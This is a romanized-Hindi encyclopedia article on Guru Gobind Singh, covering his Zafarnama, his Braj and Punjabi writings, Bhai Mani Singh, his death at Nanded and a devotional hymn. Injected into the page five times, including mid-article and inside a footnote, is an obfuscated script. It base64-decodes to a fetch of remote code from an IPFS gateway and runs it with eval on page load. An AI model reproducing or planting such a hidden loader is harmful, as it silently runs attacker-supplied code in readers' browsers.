jahaan shivaji rajashakti ke shanadar pratik haian, vahian guru gobind sianh ek sant aur sipahi ke roop mean dikhaee dete haian. kyoanki guru gobind sianh ko n to satta chahie aur n hi satta sukh. shanti evan samaj kalyan unaka tha. apane mata-pita, putroan aur hazaroan sikhoan ke pranoan ki ahuti dene ke bad bhi vah aurangazeb ko farasi mean likhe apane patr zafaranama mean likhate haian- aurangajeb tujhe prabhu ko pahachanana chahie tatha praja ko du:khi nahian karana chahie. toone quran ki kasam khakar kaha tha ki maian sulah rakhooanga, l daee nahian karooanga, yah qasam tumhare sir par bhar hai. too ab use poora kar.

mahan vidvan

ek adhyatmik guru ke atirikt guru gobind sianh ek mahanh vidvanh bhi the. unhoanne 52 kaviyoan ko apane darabar mean niyukt kiya tha. guru gobind sianh ki mahattvapoorn kritiyaan haian- zafaranama evan vichitr natak. vah svayan sainik evan sant the. unhoanne apane sikhoan mean bhi isi bhavanaoan ka poshan kiya tha. gaddi ko lekar sikhoan ke bich koee vivad n ho isake lie guru gobind sianh ne 'guru granth sahib' ko antim guru ka darja diya. isaka shrey bhi prabhu ko dete hue kahate haian-

"ajna bhee akal ki tabhi chalaiyo panth, sab sikkhan ko hukam hai guru maniyahu granth."

guru nanak ki dasavian jot guru gobind sianh apane jivan ka sara shrey prabhu ko dete hue kahate hai-

"maian hooan param purakhako dasa, dekhan ayojagat tamasha."

zafaranama

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

guru gobind sianh moolatah dharmaguru the, lekin saty aur nyay ki raksha ke lie tatha dharm ki sthapana ke lie unhean shastr dharan karane p de. aurangazeb ko likhe ge apane 'zafaranama' mean unhoanne ise spasht kiya hai. unhoanne likha tha,

"chooankar aj hama hilate dar gujashat, halale ast buradan b samashir ai dast."

arthat jab saty aur nyay ki raksha ke lie any sabhi sadhan viphal ho jaean to talavar ko dharan karana sarvatha uchit hai. unaki yah vani sikh itihas ki amar nidhi hai, jo aj bhi hamean prerana deti hai.

chitr:Blockquote-open.gif guru gobind sianh ne dharm, sanskriti v rashtr ki an-ban aur shan ke lie apana sab kuchh nyauchhavar kar diya tha. guru gobind sianh jaisi virata aur balidan itihas mean kam hi dekhane ko milata hai. isake bavazood is mahanh shakhsiyat ko itihasakaroan ne vah sthan nahian diya jisake ve haqadar haian. kuchh itihasakaroan ka mat haian ki guru gobind sianh ne apane pita ka badala lene ke lie talavar uthaee thi. kya sanbhav hai ki vah balak svayan l dane ke lie prerit hoga jisane apane pita ko atmabalidan ke lie prerit kiya ho. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jnata aur granthakar

yadyapi sab guruoan ne tho de bahut pad, bhajan adi banae haian, par guru gobind sianh kavy ke achchhe jnata aur granthakar the. sikhoan mean shastrajnan ka abhav inhean bahut khataka tha aur inhoanne bahut se sikhoan ko vyakaran, sahity, darshan adi ke adhyayan ke lie kashi bheja tha. ye hiandoo bhavoan aur ary sanskriti ki raksha ke lie barabar yuddh karate rahe. 'tilak' aur 'janeoo' ki raksha mean inaki talavar sada khuli rahati thi. yadyapi sikh sanpraday ki nirgun upasana hai, par sagun svaroop ke prati inhoanne poori astha prakat ki hai aur dev kathaoan ki charcha b de bhaktibhav se ki hai. yah bat prasiddh hai ki ye shakti ke aradhak the. inhoanne hindi mean kee achchhe aur sahityik granthoan ki rachana ki hai jinamean se kuchh ke nam ye haian - sunitiprakash, sarvalohaprakash, premasumarg, buddhi sagar aur chandicharitr. chandicharitr ki rachana paddhati b di hi ojasvini hai. ye praudh sahityik brajabhasha likhate the. chandicharitr ki durgasaptashati ki katha b di suandar kavita mean kahi gee hai -

nirjar niroop hau, ki suandar saroop hau,
ki bhoopan ke bhoop hau, ki dani mahadan hau?
pran ke bachaiya, doodh-poot ke devaiya,
rog-sog ke mitaiya, kidhauan mani mahamanahau?
vidya ke vichar hau, ki advait avatar hau,
ki suddh ta ki moorti hau ki siddh ta ki san hau?
joban ke jal hau, ki kalahoo ke kal hau,
ki satrun ke sal hau ki mitran ke pran hau?[7]

rachanaean

guru gobind sianh kavi bhi the. chandi divar guru gobind sianh ki panjabi bhasha ki ekamatr rachana hai. shesh sab hindi bhasha mean haian. inaki mukhy rachanaean haian-

  • chandi charitr- maan chandi (shiva) ki stuti
  • dashamagranth- guru ji ki kritiyoan ka sankalan
  • krishnaavatar- bhagavat puran ke dashamaskandh par adharit
  • gobind git
  • prem prabodh
  • jap sahab
  • akal ustuta
  • chaubis avatar
  • namamala
  • vibhinn guruoan, bhaktoan evan santoan ki vaniyoan ka guru granth sahib mean sankalan.

bhaee manisianh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhaee mani sianh ji guru sahib ke ek divan (mantri) the. bhaee manisianh ne guru gobind sianh ki rachanaoan ko ek jild (dashamagranth) mean prastut kiya tha.

mrityu

guru gobind sianh ne apana aantim samay nikat janakar apane sabhi sikhoan ko ekatrit kiya aur unhean maryadit tatha shubh acharan karane, desh se prem karane aur sada din-dukhiyoan ki sahayata karane ki sikh di. isake bad yah bhi kaha ki ab unake bad koee dehadhari guru nahian hoga aur 'gurugranth sahib' hi age guru ke roop mean unaka marg darshan kareange. guru gobindasianh ki mrityu 7 aktoobar sanh 1708 ee. mean naande d, maharashtr mean huee thi. aj manavata svarth, sandeh, sangharsh, hiansa, atank, anyay aur atyachar ki jin chunautiyoan se joojh rahi hai, unamean guru gobind sianh ka jivan-darshan hamara margadarshan kar sakata hai.

guru stuti

guru meri pooja, guru gobind

guru meri pooja, guru gobind
guru mera par brahm, guru bhagavant

guru mera deoo, alakh abheoo, sarv pooj charan guru sevoo
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

guru ka darshan .... dekh - dekh jivaan, guru ke charan dhoye -dhoye pivaan

guru bin avar nahian maian thaooan, anabin japoo guru guru naooan
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

guru mera jnan, guru hiraday dhyan, guru gopal purakh bhagavan
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

aise guru ko bal-bal jaiye ..-2 ap mukt mohe tarean ..

guru ki sharan raho kar jo de, guru bina maian nahian hor
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

guru bahut tare bhav par, guru seva jam se chhutakar
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

aandhakar mean guru mantr ujara, guru ke sang sajal nistara
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant

guru poora paeeya badabhagi, guru ki seva jith na lagi
guru meri pooja, guru gobind, guru mera par brahm, guru bhagavant


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. saty hi eeshvar hai.
  2. pustak- bharat jnanakosh khand-2 | prishth sankhya-115
  3. d aau. ganda sianh ki pustak 'sikh itihas' ke prishth sankhya 91 ke kuchh aansh
    saujany se- haraprit sianh naz
  4. ki khalasa eeshvar ka hai aur eeshvar ki vijay sunishchit hai.
  5. jahaan paanch sikh ikatthe hoange, vahian maian nivas karooanga.
  6. guru gobiand sianh (hindi) (ech.ti.em.el) vebaduniya. abhigaman tithi: 14 joon, 2010.
  7. achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 230.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh